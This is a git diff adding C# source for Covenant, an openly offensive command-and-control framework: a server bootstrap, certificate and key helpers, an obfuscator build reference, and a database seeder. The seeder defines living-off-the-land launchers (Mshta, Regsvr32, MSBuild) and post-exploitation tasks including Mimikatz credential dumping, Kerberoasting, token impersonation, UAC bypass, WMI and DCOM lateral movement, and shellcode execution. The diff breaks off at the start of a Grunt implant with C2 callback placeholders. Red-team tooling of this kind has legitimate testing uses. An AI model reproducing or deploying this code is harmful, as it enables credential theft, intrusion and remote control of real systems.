provider.GetBytes(lengthBytes); + int length = (int)(min + (max - min) * (BitConverter.ToUInt32(lengthBytes, 0) / (double)uint.MaxValue)); + + byte[] keyBytes = new byte[length]; + provider.GetBytes(keyBytes); + StringBuilder result = new StringBuilder(length); + foreach (byte b in keyBytes) + { + result.Append(printablechars[b % (printablechars.Length)]); + } + return result.ToString(); + } + } + + public static Guid CreateSecureGuid() + { + using (var provider = RandomNumberGenerator.Create()) + { + var bytes = new byte[16]; + provider.GetBytes(bytes); + return new Guid(bytes); + } + } + + public static String CreateSecretPassword(int length = 32) + { + using (var provider = RandomNumberGenerator.Create()) + { + var bytes = new byte[length]; + provider.GetBytes(bytes); + return Convert.ToBase64String(bytes); + } + } + + public static X509Certificate2 CreateSelfSignedCertificate(IPAddress address, string DistinguishedName = "") + { + if (DistinguishedName == "") { DistinguishedName = "CN=" + address; } + using (RSA rsa = RSA.Create(2048)) + { + var request = new CertificateRequest(new X500DistinguishedName(DistinguishedName), rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1); + request.CertificateExtensions.Add(new X509KeyUsageExtension(X509KeyUsageFlags.DataEncipherment | X509KeyUsageFlags.KeyEncipherment | X509KeyUsageFlags.DigitalSignature, false)); + request.CertificateExtensions.Add(new X509EnhancedKeyUsageExtension(new OidCollection { new Oid("1.3.6.1.5.5.7.3.1") }, false)); + SubjectAlternativeNameBuilder subjectAlternativeName = new SubjectAlternativeNameBuilder(); + subjectAlternativeName.AddIpAddress(address); + + request.CertificateExtensions.Add(subjectAlternativeName.Build()); + return request.CreateSelfSigned(new DateTimeOffset(DateTime.UtcNow.AddDays(-1)), new DateTimeOffset(DateTime.UtcNow.AddDays(3650))); + } + } + + public static bool IsIPAddress(string ComputerName) + { + return IPAddress.TryParse(ComputerName, out IPAddress address); + } + } + + // http://www.mikeobrien.net/blog/parseexact-for-strings + public static class StringExtensions + { + public static string[] ParseExact(this string data, string format) + { + return ParseExact(data, format, false); + } + + public static string[] ParseExact(this string data, string format, bool ignoreCase) + { + string[] values; + if (TryParseExact(data, format, out values, ignoreCase)) + { + return values; + } + else + { + throw new ArgumentException("Format not compatible with value."); + } + } + + public static bool TryExtract(this string data, string format, out string[] values) + { + return TryParseExact(data, format, out values, false); + } + + public static bool TryParseExact(this string data, string format, out string[] values, bool ignoreCase) + { + int tokenCount = 0; + format = Regex.Escape(format).Replace("\\{", "{"); + + for (tokenCount = 0; ; tokenCount++) + { + string token = string.Format("{{{0}}}", tokenCount); + if (!format.Contains(token)) break; + format = format.Replace(token, string.Format("(?'group{0}'.*)", tokenCount)); + } + + RegexOptions options = ignoreCase ? RegexOptions.IgnoreCase : RegexOptions.None; + Match match = new Regex(format, options).Match(data); + + if (tokenCount != (match.Groups.Count - 1)) + { + values = new string[] { }; + return false; + } + else + { + values = new string[tokenCount]; + for (int index = 0; index < tokenCount; index++) + { + values[index] = match.Groups[string.Format("group{0}", index)].Value; + } + return true; + } + } + } +} diff --git a/Covenant/Covenant.cs b/Covenant/Covenant.cs new file mode 100644 index 00000000..7c11637a --- /dev/null +++ b/Covenant/Covenant.cs @@ -0,0 +1,201 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System; +using System.IO; +using System.Net; +using System.Threading; +using System.Collections.Generic; +using System.Security.Authentication; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using Microsoft.AspNetCore.Hosting; +using Microsoft.AspNetCore.Builder; +using Microsoft.AspNetCore.Identity; +using Microsoft.Extensions.DependencyInjection; +using Microsoft.Extensions.Configuration; +using Microsoft.Extensions.Logging; + +using McMaster.Extensions.CommandLineUtils; +using NLog.Web; +using NLog.Config; +using NLog.Targets; + +using Covenant.Models; +using Covenant.Data; +using Covenant.Core; +using Covenant.Models.Covenant; + +namespace Covenant +{ + public class Program + { + static void Main(string[] args) + { + CommandLineApplication app = new CommandLineApplication(); + app.HelpOption("-? | -h | --help"); + var UserNameOption = app.Option( + "-u | --username ", + "The UserName to login to the Covenant API.", + CommandOptionType.SingleValue + ); + var PasswordOption = app.Option( + "-p | --password ", + "The Password to login to the Covenant API.", + CommandOptionType.SingleValue + ); + var ComputerNameOption = app.Option( + "-c | --computername ", + "The ComputerName (IPAddress or Hostname) to bind the Covenant API to.", + CommandOptionType.SingleValue + ); + + app.OnExecute(() => + { + string username = UserNameOption.Value(); + string password = PasswordOption.Value(); + if (!UserNameOption.HasValue()) + { + Console.Write("Username: "); + username = Console.ReadLine(); + } + if (!PasswordOption.HasValue()) + { + Console.Write("Password: "); + password = GetPassword(); + Console.WriteLine(); + } + + string CovenantBindUrl = ComputerNameOption.HasValue() ? ComputerNameOption.Value() : "0.0.0.0"; + IPEndPoint CovenantEndpoint = new IPEndPoint(IPAddress.Parse(CovenantBindUrl), Common.CovenantHTTPSPort); + string CovenantUri = (CovenantBindUrl == "0.0.0.0" ? "https://127.0.0.1:" + Common.CovenantHTTPSPort : "https://" + CovenantEndpoint); + var host = BuildWebHost( + CovenantEndpoint, + CovenantUri, + username, + password + ); + using (var scope = host.Services.CreateScope()) + { + var services = scope.ServiceProvider; + var context = services.GetRequiredService(); + var userManager = services.GetRequiredService>(); + var roleManager = services.GetRequiredService>(); + var configuration = services.GetRequiredService(); + var cancellationTokens = services.GetRequiredService>(); + DbInitializer.Initialize(context, userManager, roleManager, configuration, cancellationTokens); + } + + LoggingConfiguration loggingConfig = new LoggingConfiguration(); + var consoleTarget = new ColoredConsoleTarget(); + var fileTarget = new FileTarget(); + loggingConfig.AddTarget("console", consoleTarget); + loggingConfig.AddTarget("file", fileTarget); + consoleTarget.Layout = @"${longdate}|${event-properties:item=EventId_Id}|${uppercase:${level}}|${logger}|${message} ${exception:format=tostring}"; + fileTarget.Layout = @"${longdate}|${event-properties:item=EventId_Id}|${uppercase:${level}}|${logger}|${message} ${exception:format=tostring}"; + fileTarget.FileName = Common.CovenantLogDirectory + "covenant.log"; + loggingConfig.AddRule(NLog.LogLevel.Warn, NLog.LogLevel.Fatal, "console"); + loggingConfig.AddRule(NLog.LogLevel.Debug, NLog.LogLevel.Fatal, "file"); + + var logger = NLogBuilder.ConfigureNLog(loggingConfig).GetCurrentClassLogger(); + try + { + logger.Debug("Starting Covenant API"); + host.Run(); + } + catch (Exception ex) + { + logger.Error(ex, "Covenant stopped due to exception"); + throw; + } + finally + { + NLog.LogManager.Shutdown(); + } + return 0; + }); + app.Execute(args); + } + + public static IWebHost BuildWebHost(IPEndPoint CovenantEndpoint, string CovenantUri, string CovenantUsername, string CovenantPassword) => + new WebHostBuilder() + .UseKestrel(options => + { + options.Listen(CovenantEndpoint, listenOptions => + { + listenOptions.UseHttps(httpsOptions => + { + if (!File.Exists(Common.CovenantPrivateCertFile) || !File.Exists(Common.CovenantPublicCertFile)) + { + Console.WriteLine("Creating cert..."); + X509Certificate2 certificate = Utilities.CreateSelfSignedCertificate(CovenantEndpoint.Address, "CN=Covenant"); + File.WriteAllBytes(Common.CovenantPrivateCertFile, certificate.Export(X509ContentType.Pfx, CovenantPassword)); + File.WriteAllBytes(Common.CovenantPublicCertFile, certificate.Export(X509ContentType.Cert)); + } + try + { + httpsOptions.ServerCertificate = new X509Certificate2(Common.CovenantPrivateCertFile, CovenantPassword); + } + catch (CryptographicException) + { + Console.Error.WriteLine("Error importing Covenant certificate. Wrong password? Must use initial user/password."); + } + httpsOptions.SslProtocols = SslProtocols.Tls12; + Console.WriteLine("Using Covenant certificate with hash: " + httpsOptions.ServerCertificate.GetCertHashString()); + }); + }); + }) + .UseContentRoot(Directory.GetCurrentDirectory()) + .ConfigureAppConfiguration((hostingContext, config) => + { + string appsettingscontents = File.ReadAllText(Common.CovenantAppSettingsFile); + if (appsettingscontents.Contains(Common.CovenantJwtKeyReplaceMessage)) + { + Console.WriteLine("Found default JwtKey, replacing with auto-generated key..."); + File.WriteAllText(Common.CovenantAppSettingsFile, appsettingscontents.Replace(Common.CovenantJwtKeyReplaceMessage, Utilities.GenerateJwtKey())); + } + var env = hostingContext.HostingEnvironment; + config.AddJsonFile("appsettings.json", optional: false, reloadOnChange: false); + config.AddEnvironmentVariables(); + }) + .ConfigureLogging((hostingContext, logging) => + { + logging.ClearProviders(); + logging.AddConfiguration(hostingContext.Configuration.GetSection("Logging")); + logging.AddConsole(); + logging.AddDebug(); + logging.AddFilter("System", LogLevel.Warning) + .AddFilter("Microsoft", LogLevel.Warning); + }) + .UseStartup() + .UseSetting("CovenantUri", CovenantUri) + .UseSetting("CovenantUsername", CovenantUsername) + .UseSetting("CovenantPassword", CovenantPassword) + .Build(); + + private static string GetPassword() + { + string password = ""; + ConsoleKeyInfo nextKey = Console.ReadKey(true); + while (nextKey.Key != ConsoleKey.Enter) + { + if (nextKey.Key == ConsoleKey.Backspace) + { + if (password.Length > 0) + { + password = password.Substring(0, password.Length - 1); + Console.Write("\b \b"); + } + } + else + { + password += nextKey.KeyChar; + Console.Write("*"); + } + nextKey = Console.ReadKey(true); + } + return password; + } + } +} diff --git a/Covenant/Covenant.csproj b/Covenant/Covenant.csproj new file mode 100644 index 00000000..761f75c2 --- /dev/null +++ b/Covenant/Covenant.csproj @@ -0,0 +1,80 @@ + + + + netcoreapp2.1 + ..\docker-compose.dcproj + + + + 7.1 + + + + 7.1 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + PreserveNewest + + + + + refs\Confuser.Core.dll + + + refs\Confuser.DynCipher.dll + + + refs\Confuser.MSBuild.Tasks.dll + + + refs\Confuser.Protections.dll + + + refs\Confuser.Renamer.dll + + + refs\Confuser.Runtime.dll + + + refs\dnlib.dll + + + diff --git a/Covenant/Data/DbInitializer.cs b/Covenant/Data/DbInitializer.cs new file mode 100644 index 00000000..cddb1498 --- /dev/null +++ b/Covenant/Data/DbInitializer.cs @@ -0,0 +1,798 @@ +using System; +using System.IO; +using System.Linq; +using System.Threading; +using System.Collections.Generic; + +using Microsoft.AspNetCore.Identity; +using Microsoft.Extensions.Configuration; + +using Covenant.Models; +using Covenant.Models.Covenant; +using Covenant.Models.Launchers; +using Covenant.Models.Listeners; +using Covenant.Models.Grunts; +using Covenant.Core; + +namespace Covenant.Data +{ + public static class DbInitializer + { + public static void Initialize(CovenantContext context, UserManager userManager, RoleManager roleManager, IConfiguration configuration, Dictionary cancellationTokens) + { + context.Database.EnsureCreated(); + + InitializeListeners(context, cancellationTokens); + InitializeLaunchers(context); + InitializeTasks(context); + InitializeRoles(roleManager); + InitializeUsers(userManager, configuration); + } + + public static void InitializeListeners(CovenantContext context, Dictionary cancellationTokens) + { + if (!context.ListenerTypes.Any()) + { + context.ListenerTypes.Add(ListenerType.HttpListenerType); + context.SaveChanges(); + } + if (!context.Profiles.Any()) + { + HttpProfile defaultProfile = HttpProfile.Create(Common.CovenantDefaultHttpProfile); + int idNum = 1; + defaultProfile.Id = idNum; + context.Profiles.Add(defaultProfile); + List profiles = Directory.GetFiles(Common.CovenantProfileDirectory, "*.yaml", SearchOption.AllDirectories) + .Where(F => F != Common.CovenantDefaultHttpProfile) + .Select(F => HttpProfile.Create(F)) + .ToList(); + foreach (HttpProfile p in profiles) + { + idNum++; + p.Id = idNum; + context.Profiles.Add(p); + } + } + + + foreach (Listener l in context.Listeners.Where(L => L.Status == Listener.ListenerStatus.Active)) + { + HttpProfile profile = (HttpProfile)context.Profiles.FirstOrDefault(HP => HP.Id == l.ProfileId); + cancellationTokens[l.Id] = l.Start(profile); + } + } + + public static void InitializeLaunchers(CovenantContext context) + { + if (!context.Launchers.Any()) + { + var launchers = new List + { + new WmicLauncher(), + new Regsvr32Launcher(), + new MshtaLauncher(), + new CscriptLauncher(), + new WscriptLauncher(), + new InstallUtilLauncher(), + new MSBuildLauncher(), + new PowerShellLauncher(), + new BinaryLauncher() + }; + foreach (Launcher l in launchers) + { + context.Launchers.Add(l); + } + } + } + + public static void InitializeTasks(CovenantContext context) + { + if (!context.GruntTasks.Any()) + { + var GruntTasks = new List + { + new GruntTask + { + Id = 1, + Name = "Shell", + Description = "Execute a Shell command.", + ReferenceAssemblies = String.Join(",", new List()), + Code = File.ReadAllText(Path.Combine(Common.CovenantTaskDirectory, "Shell" + ".task")), + Options = new List + { + new GruntTask.GruntTaskOption + { + TaskId = 1, + OptionId = 1, + Name = "ShellCommand", + Description = "The ShellCommand to execute.", + Value = "whoami" + } + } + }, + new GruntTask + { + Id = 2, + Name = "PowerShell", + Description = "Execute a PowerShell command.", + ReferenceAssemblies = String.Join(",", new List { "System.Management.Automation.dll" }), + Code = File.ReadAllText(Path.Combine(Common.CovenantTaskDirectory, "PowerShell" + ".task")), + Options = new List + { + new GruntTask.GruntTaskOption + { + TaskId = 2, + OptionId = 1, + Name = "PowerShellCommand", + Description = "The PowerShellCommand to execute.", + Value = "Get-ChildItem Env:" + } + } + }, + new GruntTask + { + Id = 3, + Name = "Assembly", + Description = "Execute a dotnet Assembly method.", + ReferenceAssemblies = String.Join(",", new List()), + Code = File.ReadAllText(Path.Combine(Common.CovenantTaskDirectory, "Assembly" + ".task")), + Options = new List + { + new GruntTask.GruntTaskOption + { + TaskId = 3, + OptionId = 1, + Name = "EncodedAssembly", + Description = "The Base64 encoded Assembly bytes.", + Value = "" + }, + new GruntTask.GruntTaskOption + { + TaskId = 3, + OptionId = 2, + Name = "TypeName", + Description = "The name of the Type that contains the method to execute.", + Value = "" + }, + new GruntTask.GruntTaskOption + { + TaskId = 3, + OptionId = 3, + Name = "MethodName", + Description = "The name of the method to execute.", + Value = "" + } + } + }, + new GruntTask + { + Id = 4, + Name = "ListDirectory", + Description = "Get a listing of the current directory.", + ReferenceAssemblies = String.Join(",", new List()), + Code = File.ReadAllText(Path.Combine(Common.CovenantTaskDirectory, "ListDirectory" + ".task")), + Options = new List { } + }, + new GruntTask + { + Id = 5, + Name = "ChangeDirectory", + Description = "Change the current directory.", + ReferenceAssemblies = String.Join(",", new List()), + Code = File.ReadAllText(Path.Combine(Common.CovenantTaskDirectory, "ChangeDirectory" + ".task")), + Options = new List + { + new GruntTask.GruntTaskOption + { + TaskId = 5, + OptionId = 1, + Name = "AppendDirectory", + Description = "Directory to change to.", + Value = "." + } + } + }, + new GruntTask + { + Id = 6, + Name = "ProcessList", + Description = "Get a list of currently running processes.", + ReferenceAssemblies = String.Join(",", new List()), + Code = File.ReadAllText(Path.Combine(Common.CovenantTaskDirectory, "ProcessList" + ".task")), + Options = new List { } + }, + new GruntTask + { + Id = 7, + Name = "Upload", + Description = "Upload a file.", + ReferenceAssemblies = String.Join(",", new List()), + Code = File.ReadAllText(Path.Combine(Common.CovenantTaskDirectory, "Upload" + ".task")), + Options = new List + { + new GruntTask.GruntTaskOption + { + TaskId = 7, + OptionId = 1, + Name = "FileName", + Description = "Local file name to write to.", + Value = "" + }, + new GruntTask.GruntTaskOption + { + TaskId = 7, + OptionId = 2, + Name = "FileContents", + Description = "Base64 contents of the file to be written." + } + } + }, + new GruntTask + { + Id = 8, + Name = "Download", + Description = "Download a file.", + ReferenceAssemblies = String.Join(",", new List()), + Code = File.ReadAllText(Path.Combine(Common.CovenantTaskDirectory, "Download" + ".task")), + Options = new List + { + new GruntTask.GruntTaskOption + { + TaskId = 8, + OptionId = 1, + Name = "FileName", + Description = "Remote file name to download.", + Value = "" + } + } + }, + new GruntTask + { + Id = 9, + Name = "Mimikatz", + Description = "Execute a mimikatz command.", + ReferenceAssemblies = String.Join(",", new List()), + Code = File.ReadAllText(Path.Combine(Common.CovenantTaskDirectory, "Mimikatz" + ".task")), + Options = new List + { + new GruntTask.GruntTaskOption + { + TaskId = 9, + OptionId = 1, + Name = "Command", + Description = "Mimikatz command to execute.", + Value = "sekurlsa::logonPasswords" + } + } + }, + new GruntTask + { + Id = 10, + Name = "PortScan", + Description = "Perform a TCP port scan.", + ReferenceAssemblies = String.Join(",", new List()), + Code = File.ReadAllText(Path.Combine(Common.CovenantTaskDirectory, "PortScan" + ".task")), + Options = new List + { + new GruntTask.GruntTaskOption + { + TaskId = 10, + OptionId = 1, + Name = "ComputerNames", + Description = "ComputerName(s) to port scan. Can be a DNS name, IP address, or CIDR range.", + Value = "127.0.0.1" + }, + new GruntTask.GruntTaskOption + { + TaskId = 10, + OptionId = 2, + Name = "Ports", + Description = "Ports to scan. Comma-delimited port list.", + Value = "80,443,445" + }, + new GruntTask.GruntTaskOption + { + TaskId = 10, + OptionId = 3, + Name = "Ping", + Description = "Boolean, whether to ping hosts prior to port scanning.", + Value = "False" + } + } + }, + new GruntTask + { + Id = 11, + Name = "Kerberoast", + Description = "Perform a \"Kerberoast\" attack that retrieves crackable service tickets for Domain User's w/ an SPN set.", + ReferenceAssemblies = String.Join(",", new List { "System.DirectoryServices.dll", "System.IdentityModel.dll" }), + Code = File.ReadAllText(Path.Combine(Common.CovenantTaskDirectory, "Kerberoast" + ".task")), + Options = new List + { + new GruntTask.GruntTaskOption + { + TaskId = 11, + OptionId = 1, + Name = "Usernames", + Description = "Username(s) to port scan. Comma-delimited username list.", + Value = "DOMAIN\\username1,DOMAIN\\username2" + }, + new GruntTask.GruntTaskOption + { + TaskId = 11, + OptionId = 2, + Name = "HashFormat", + Description = "Format to output the hashes (\"Hashcat\" or \"John\").", + Value = "Hashcat" + } + } + }, + new GruntTask + { + Id = 12, + Name = "WhoAmI", + Description = "Gets the username of the currently used/impersonated token.", + ReferenceAssemblies = String.Join(",", new List()), + Code = File.ReadAllText(Path.Combine(Common.CovenantTaskDirectory, "WhoAmI" + ".task")), + Options = new List() + }, + new GruntTask + { + Id = 13, + Name = "ImpersonateUser", + Description = "Find a process owned by the specified user and impersonate the token. Used to execute subsequent commands as the specified user.", + ReferenceAssemblies = String.Join(",", new List()), + Code = File.ReadAllText(Path.Combine(Common.CovenantTaskDirectory, "ImpersonateUser" + ".task")), + Options = new List + { + new GruntTask.GruntTaskOption + { + TaskId = 13, + OptionId = 1, + Name = "Username", + Description = "User to impersonate. \"DOMAIN\\Username\" format expected.", + Value = "DOMAIN\\Username" + } + } + }, + new GruntTask + { + Id = 14, + Name = "ImpersonateProcess", + Description = "Impersonate the token of the specified process. Used to execute subsequent commands as the user associated with the token of the specified process.", + ReferenceAssemblies = String.Join(",", new List()), + Code = File.ReadAllText(Path.Combine(Common.CovenantTaskDirectory, "ImpersonateUser" + ".task")), + Options = new List + { + new GruntTask.GruntTaskOption + { + TaskId = 14, + OptionId = 1, + Name = "ProcessID", + Description = "Process ID of the process to impersonate.", + Value = "1234" + } + } + }, + new GruntTask + { + Id = 15, + Name = "GetSystem", + Description = "Impersonate the SYSTEM user. Equates to ImpersonateUser(\"NT AUTHORITY\\SYSTEM\").", + ReferenceAssemblies = String.Join(",", new List()), + Code = File.ReadAllText(Path.Combine(Common.CovenantTaskDirectory, "GetSystem" + ".task")), + Options = new List() + }, + new GruntTask + { + Id = 16, + Name = "MakeToken", + Description = "Makes a new token with a specified username and password, and impersonates it to conduct future actions as the specified user.", + ReferenceAssemblies = String.Join(",", new List()), + Code = File.ReadAllText(Path.Combine(Common.CovenantTaskDirectory, "MakeToken" + ".task")), + Options = new List + { + new GruntTask.GruntTaskOption + { + TaskId = 16, + OptionId = 1, + Name = "Username", + Description = "Username to authenticate as.", + Value = "username1" + }, + new GruntTask.GruntTaskOption + { + TaskId = 16, + OptionId = 2, + Name = "Domain", + Description = "Domain to authenticate the user to.", + Value = "DOMAIN" + }, + new GruntTask.GruntTaskOption + { + TaskId = 16, + OptionId = 3, + Name = "Password", + Description = "Password to authenticate the user.", + Value = "Password123" + }, + new GruntTask.GruntTaskOption + { + TaskId = 16, + OptionId = 4, + Name = "LogonType", + Description = "LogonType to use. Defaults to LOGON32_LOGON_NEW_CREDENTIALS, which is suitable to perform actions that require remote authentication. LOGON32_LOGON_INTERACTIVE is suitable for local actions.", + Value = "LOGON32_LOGON_NEW_CREDENTIALS" + } + } + }, + new GruntTask + { + Id = 17, + Name = "RevertToSelf", + Description = "Ends the impersonation of any token, reverting back to the initial token associated with the current process. Useful in conjuction with functions impersonate a token and do not automatically RevertToSelf, such as ImpersonateUser(), ImpersonateProcess(), GetSystem(), and MakeToken().", + ReferenceAssemblies = String.Join(",", new List()), + Code = File.ReadAllText(Path.Combine(Common.CovenantTaskDirectory, "RevertToSelf" + ".task")), + Options = new List() + }, + new GruntTask + { + Id = 18, + Name = "WMI", + Description = "Execute a process on a remote system using Win32_Process Create with specified credentials.", + ReferenceAssemblies = String.Join(",", new List()), + Code = File.ReadAllText(Path.Combine(Common.CovenantTaskDirectory, "WMI" + ".task")), + Options = new List + { + new GruntTask.GruntTaskOption + { + TaskId = 18, + OptionId = 1, + Name = "ComputerName", + Description = "Username to authenticate as.", + Value = "192.168.1.1" + }, + new GruntTask.GruntTaskOption + { + TaskId = 18, + OptionId = 2, + Name = "Username", + Description = "Username to authenticate as.", + Value = "DOMAIN\\Username" + }, + new GruntTask.GruntTaskOption + { + TaskId = 18, + OptionId = 3, + Name = "Password", + Description = "Password to authenticate the user.", + Value = "Password123" + }, + new GruntTask.GruntTaskOption + { + TaskId = 18, + OptionId = 4, + Name = "Launcher", + Description = "Launcher to execute on the remote system.", + Value = "PowerShell" + }, + new GruntTask.GruntTaskOption + { + TaskId = 18, + OptionId = 5, + Name = "Command", + Description = "Command line to execute on the remote system.", + Value = "" + } + } + }, + new GruntTask + { + Id = 19, + Name = "DCOM", + Description = "Execute a process on a remote system using various DCOM methods.", + ReferenceAssemblies = String.Join(",", new List()), + Code = File.ReadAllText(Path.Combine(Common.CovenantTaskDirectory, "DCOM" + ".task")), + Options = new List + { + new GruntTask.GruntTaskOption + { + TaskId = 19, + OptionId = 1, + Name = "ComputerName", + Description = "Username to authenticate as.", + Value = "192.168.1.1" + }, + new GruntTask.GruntTaskOption + { + TaskId = 19, + OptionId = 2, + Name = "Launcher", + Description = "Launcher to execute on the remote system.", + Value = "PowerShell" + }, + new GruntTask.GruntTaskOption + { + TaskId = 19, + OptionId = 3, + Name = "Command", + Description = "Command line to execute on the remote system.", + Value = "" + }, + new GruntTask.GruntTaskOption + { + TaskId = 19, + OptionId = 4, + Name = "Method", + Description = "DCOM method to use for execution.", + Value = "MMC20.Application" + } + } + }, + new GruntTask + { + Id = 20, + Name = "BypassUAC", + Description = "Bypasses UAC through token duplication and spawns a specified process with high integrity.", + ReferenceAssemblies = String.Join(",", new List()), + Code = File.ReadAllText(Path.Combine(Common.CovenantTaskDirectory, "BypassUAC" + ".task")), + Options = new List + { + new GruntTask.GruntTaskOption + { + TaskId = 20, + OptionId = 1, + Name = "Launcher", + Description = "Launcher to execute on the remote system.", + Value = "PowerShell" + }, + new GruntTask.GruntTaskOption + { + TaskId = 20, + OptionId = 2, + Name = "Command", + Description = "Launcher to execute on the remote system.", + Value = "" + } + } + }, + new GruntTask + { + Id = 21, + Name = "GetDomainUser", + Description = "Gets a list of specified (or all) user `DomainObject`s in the current Domain.", + ReferenceAssemblies = String.Join(",", new List()), + Code = File.ReadAllText(Path.Combine(Common.CovenantTaskDirectory, "GetDomainUser" + ".task")), + Options = new List + { + new GruntTask.GruntTaskOption + { + TaskId = 21, + OptionId = 1, + Name = "Identities", + Description = "List of comma-delimited usernames to retrieve.", + Value = "username" + } + } + }, + new GruntTask + { + Id = 22, + Name = "GetDomainGroup", + Description = "Gets a list of specified (or all) group `DomainObject`s in the current Domain.", + ReferenceAssemblies = String.Join(",", new List()), + Code = File.ReadAllText(Path.Combine(Common.CovenantTaskDirectory, "GetDomainGroup" + ".task")), + Options = new List + { + new GruntTask.GruntTaskOption + { + TaskId = 22, + OptionId = 1, + Name = "Identities", + Description = "List of comma-delimited groups to retrieve.", + Value = "Domain Admins" + } + } + }, + new GruntTask + { + Id = 23, + Name = "GetDomainComputer", + Description = "Gets a list of specified (or all) computer `DomainObject`s in the current Domain.", + ReferenceAssemblies = String.Join(",", new List()), + Code = File.ReadAllText(Path.Combine(Common.CovenantTaskDirectory, "GetDomainComputer" + ".task")), + Options = new List + { + new GruntTask.GruntTaskOption + { + TaskId = 23, + OptionId = 1, + Name = "Identities", + Description = "List of comma-delimited computers to retrieve.", + Value = "DC01" + } + } + }, + new GruntTask + { + Id = 24, + Name = "GetNetLocalGroup", + Description = "Gets a list of `LocalGroup`s from specified remote computer(s).", + ReferenceAssemblies = String.Join(",", new List()), + Code = File.ReadAllText(Path.Combine(Common.CovenantTaskDirectory, "GetNetLocalGroup" + ".task")), + Options = new List + { + new GruntTask.GruntTaskOption + { + TaskId = 24, + OptionId = 1, + Name = "ComputerNames", + Description = "List of comma-delimited ComputerNames to query.", + Value = "DC01" + } + } + }, + new GruntTask + { + Id = 25, + Name = "GetNetLocalGroupMember", + Description = "Gets a list of `LocalGroupMember`s from specified remote computer(s).", + ReferenceAssemblies = String.Join(",", new List()), + Code = File.ReadAllText(Path.Combine(Common.CovenantTaskDirectory, "GetNetLocalGroupMember" + ".task")), + Options = new List + { + new GruntTask.GruntTaskOption + { + TaskId = 25, + OptionId = 1, + Name = "ComputerNames", + Description = "List of comma-delimited ComputerNames to query.", + Value = "DC01" + }, + new GruntTask.GruntTaskOption + { + TaskId = 25, + OptionId = 2, + Name = "LocalGroup", + Description = "LocalGroup name to query for members.", + Value = "Administrators" + } + } + }, + new GruntTask + { + Id = 26, + Name = "GetNetLoggedOnUser", + Description = "Gets a list of `LoggedOnUser`s from specified remote computer(s).", + ReferenceAssemblies = String.Join(",", new List()), + Code = File.ReadAllText(Path.Combine(Common.CovenantTaskDirectory, "GetNetLoggedOnUser" + ".task")), + Options = new List + { + new GruntTask.GruntTaskOption + { + TaskId = 26, + OptionId = 1, + Name = "ComputerNames", + Description = "List of comma-delimited ComputerNames to query.", + Value = "DC01" + } + } + }, + new GruntTask + { + Id = 27, + Name = "GetNetSession", + Description = "Gets a list of `SessionInfo`s from specified remote computer(s).", + ReferenceAssemblies = String.Join(",", new List()), + Code = File.ReadAllText(Path.Combine(Common.CovenantTaskDirectory, "GetNetSession" + ".task")), + Options = new List + { + new GruntTask.GruntTaskOption + { + TaskId = 27, + OptionId = 1, + Name = "ComputerNames", + Description = "List of comma-delimited ComputerNames to query.", + Value = "DC01" + } + } + }, + new GruntTask + { + Id = 28, + Name = "RegistryRead", + Description = "Reads a value stored in registry.", + ReferenceAssemblies = String.Join(",", new List()), + Code = File.ReadAllText(Path.Combine(Common.CovenantTaskDirectory, "RegistryRead" + ".task")), + Options = new List + { + new GruntTask.GruntTaskOption + { + TaskId = 28, + OptionId = 1, + Name = "RegPath", + Description = "The full path to the registry value to be read.", + Value = "HKEY_CURRENT_USER\\Environment\\Path" + } + } + }, + new GruntTask + { + Id = 29, + Name = "RegistryWrite", + Description = "Writes a value into the registry.", + ReferenceAssemblies = String.Join(",", new List()), + Code = File.ReadAllText(Path.Combine(Common.CovenantTaskDirectory, "RegistryWrite" + ".task")), + Options = new List + { + new GruntTask.GruntTaskOption + { + TaskId = 29, + OptionId = 1, + Name = "RegPath", + Description = "The full path to the registry value to be read.", + Value = "HKEY_CURRENT_USER\\Environment\\Path" + }, + new GruntTask.GruntTaskOption + { + TaskId = 29, + OptionId = 2, + Name = "Value", + Description = "The value to write to the registry key.", + Value = "" + } + } + }, + new GruntTask + { + Id = 30, + Name = "ShellCode", + Description = "Executes a specified shellcode byte array by copying it to pinned memory, modifying the memory permissions, and executing.", + ReferenceAssemblies = String.Join(",", new List()), + Code = File.ReadAllText(Path.Combine(Common.CovenantTaskDirectory, "ShellCode" + ".task")), + Options = new List + { + new GruntTask.GruntTaskOption + { + TaskId = 30, + OptionId = 1, + Name = "Hex", + Description = "Hex string representing the Shellcode bytes to execute.", + Value = "" + } + } + } + }; + + foreach (GruntTask task in GruntTasks) + { + context.GruntTasks.Add(task); + } + } + } + + public static async void InitializeRoles(RoleManager roleManager) + { + List roles = new List { "Administrator", "User", "Listener" }; + foreach (string role in roles) + { + if (!(await roleManager.RoleExistsAsync(role))) + { + IdentityResult roleResult = await roleManager.CreateAsync(new IdentityRole(role)); + } + } + } + + public static async void InitializeUsers(UserManager userManager, IConfiguration configuration) + { + CovenantUser existing = await userManager.FindByNameAsync(configuration["CovenantUsername"]); + if (existing == null) + { + CovenantUser user = new CovenantUser { UserName = configuration["CovenantUsername"] }; + IdentityResult userResult = await userManager.CreateAsync(user, configuration["CovenantPassword"]); + await userManager.AddToRoleAsync(user, "User"); + await userManager.AddToRoleAsync(user, "Administrator"); + } + } + } +} diff --git a/Covenant/Data/Grunt/Grunt.cs b/Covenant/Data/Grunt/Grunt.cs new file mode 100644 index 00000000..6aea3474 --- /dev/null +++ b/Covenant/Data/Grunt/Grunt.cs @@ -0,0 +1,571 @@ +using System; +using System.Text; +using System.IO; +using System.IO.Compression; +using System.Net; +using System.Threading; +using System.Reflection; +using System.Collections.Generic; +using System.Security.Principal; +using System.Security.Cryptography; +using System.Text.RegularExpressions; + +namespace Grunt +{ + class Grunt + { + public static void Execute(Aes SessionKey) + { + try + { + string CovenantURI = @"{{REPLACE_COVENANT_URI}}"; + string CovenantCertHash = @"{{REPLACE_COVENANT_CERT_HASH}}"; + int Id = Convert.ToInt32(@"{{REPLACE_GRUNT_ID}}"); + string Name = @"{{REPLACE_GRUNT_NAME}}"; + int Delay = Convert.ToInt32(@"{{REPLACE_DELAY}}"); + int Jitter = Convert.ToInt32(@"{{REPLACE_JITTER}}"); + int ConnectAttempts = Convert.ToInt32(@"{{REPLACE_CONNECT_ATTEMPTS}}"); + List ProfileHttpHeaderNames = new List(); + List ProfileHttpHeaderValues = new List(); + // {{REPLACE_PROFILE_HTTP_HEADERS}} + List ProfileHttpUrls = new List(); + // {{REPLACE_PROFILE_HTTP_URLS}} + List ProfileHttpCookies = new List(); + // 